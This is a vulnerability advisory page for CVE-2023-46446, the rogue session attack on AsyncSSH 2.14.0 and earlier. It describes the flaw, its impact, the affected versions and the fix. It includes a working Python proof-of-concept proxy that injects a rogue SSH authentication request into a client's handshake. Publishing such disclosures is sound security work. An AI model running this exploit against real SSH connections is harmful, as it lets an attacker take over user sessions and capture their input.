CVE-2023-46446: High severity Asyncssh Project Asyncssh vulnerability

Published Nov 9, 2023
·
Updated

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.

Details

The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.

The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.

PoC

<details> <summary>AsyncSSH 2.14.0 client (simpleclient.py example) connecting to AsyncSSH 2.14.0 server (simpleserver.py example)</summary>

python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify from time import sleep ################################################################################## ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ## ## ## ## Variant: Unmodified variant (EXTINFO by client required) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simpleclient.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simpleserver.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ################################################################################## # IP and port for the TCP proxy to bind to PROXYIP = '127.0.0.1' PROXYPORT = 2222 # IP and port of the server SERVERIP = '127.0.0.1' SERVERPORT = 22 # Length of the individual messages NEWKEYSLENGTH = 16 CLIENTEXTINFOLENGTH = 60 # Additional data sent by the client after NEWKEYS (excluding EXTINFO) ADDITIONALCLIENTDATALENGTH = 60 newkeyspayload = b'\x00\x00\x00\x0c\x0a\x15' def containsnewkeys(data): return newkeyspayload in data rogueuserauthrequest = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000') def insertrogueauthenticationrequest(data): newkeysindex = data.index(newkeyspayload) # Insert rogue authentication request and remove SSHMSGEXTINFO return data[:newkeysindex] + rogueuserauthrequest + data[newkeysindex:newkeysindex + NEWKEYSLENGTH] + data[newkeysindex + NEWKEYSLENGTH + CLIENTEXTINFOLENGTH:] def forwardclienttoserver(clientsocket, serversocket): delaynext = False try: while True: clientdata = clientsocket.recv(4096) if delaynext: delaynext = False sleep(0.25) if containsnewkeys(clientdata): print("[+] SSHMSGNEWKEYS sent by client identified!") if len(clientdata) < NEWKEYSLENGTH + CLIENTEXTINFOLENGTH + ADDITIONALCLIENTDATALENGTH: print("[+] clientdata does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!") while len(clientdata) < NEWKEYSLENGTH + CLIENTEXTINFOLENGTH + ADDITIONALCLIENTDATALENGTH: clientdata += clientsocket.recv(4096) print(f"[d] Original clientdata before modification: {clientdata.hex()}") clientdata = insertrogueauthenticationrequest(clientdata) print(f"[d] Modified clientdata with rogue authentication request: {clientdata.hex()}") delaynext = True if len(clientdata) == 0: break serversocket.send(clientdata) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forwardclienttoserver thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() def forwardservertoclient(clientsocket, serversocket): try: while True: serverdata = serversocket.recv(4096) if len(serverdata) == 0: break clientsocket.send(serverdata) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forwardservertoclient thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() if name == 'main': print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---") mitmsocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) mitmsocket.bind((PROXYIP, PROXYPORT)) mitmsocket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXYIP, PROXYPORT)} for incoming connections...") try: while True: clientsocket, clientaddr = mitmsocket.accept() print(f"[+] Accepted connection from: {clientaddr}") print(f"[+] Establishing new server connection to {(SERVERIP, SERVERPORT)}.") serversocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) serversocket.connect((SERVERIP, SERVERPORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forwardclienttoserver, args=(clientsocket, serversocket)).start() Thread(target=forwardservertoclient, args=(clientsocket, serversocket)).start() except KeyboardInterrupt: clientsocket.close() serversocket.close() mitmsocket.close() </details>

Impact

The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.

Other sources

An issue in AsyncSSH before 2.14.1 allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation, aka a "Rogue Session Attack."

Affected Software

3 affected componentsFixes available
pip/asyncssh<2.14.1
2.14.1
debian/python-asyncssh<=2.5.0-0.1, <=2.10.1-2+deb12u1
2.5.0-0.1+deb11u12.10.1-2+deb12u22.19.0-1
Asyncssh Project Asyncssh<2.14.1

Event History

Nov 9, 2023
Advisory Published
06:35 PM
Data Sourced
via GitHub·06:35 PM
DescriptionSeverityWeaknessAffected Software
Nov 14, 2023
CVE Published
via MITRE·12:00 AM
Data Sourced
via MITRE·12:00 AM
Description
Data Sourced
via NVD·03:15 AM
DescriptionSeverityWeaknessAffected Software
Dec 19, 2023
News Published
05:03 PM
Dec 20, 2023
News Published
via The Register·08:34 AM
Jan 19, 2024
News Published
via The Register·09:51 PM
Nov 18, 2024
Data Sourced
via Launchpad·10:18 AM
Description
Dec 16, 2024
Data Sourced
via Ubuntu·05:22 PM
RemedyDescriptionSeverityAffected Software

Frequently Asked Questions

1

What is the vulnerability ID of this issue in AsyncSSH?

The vulnerability ID of this issue in AsyncSSH is CVE-2023-46446.

2

What is the severity level of CVE-2023-46446?

The severity level of CVE-2023-46446 is high with a score of 8.1.

3

How can attackers exploit CVE-2023-46446?

Attackers can exploit CVE-2023-46446 by controlling the remote end of an SSH client session through packet injection/removal and shell emulation.

4

Which version of AsyncSSH is affected by CVE-2023-46446?

AsyncSSH versions up to and including v2.14.0 are affected by CVE-2023-46446.

5

How can I fix CVE-2023-46446?

To fix CVE-2023-46446, upgrade to AsyncSSH v2.14.1 or later.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203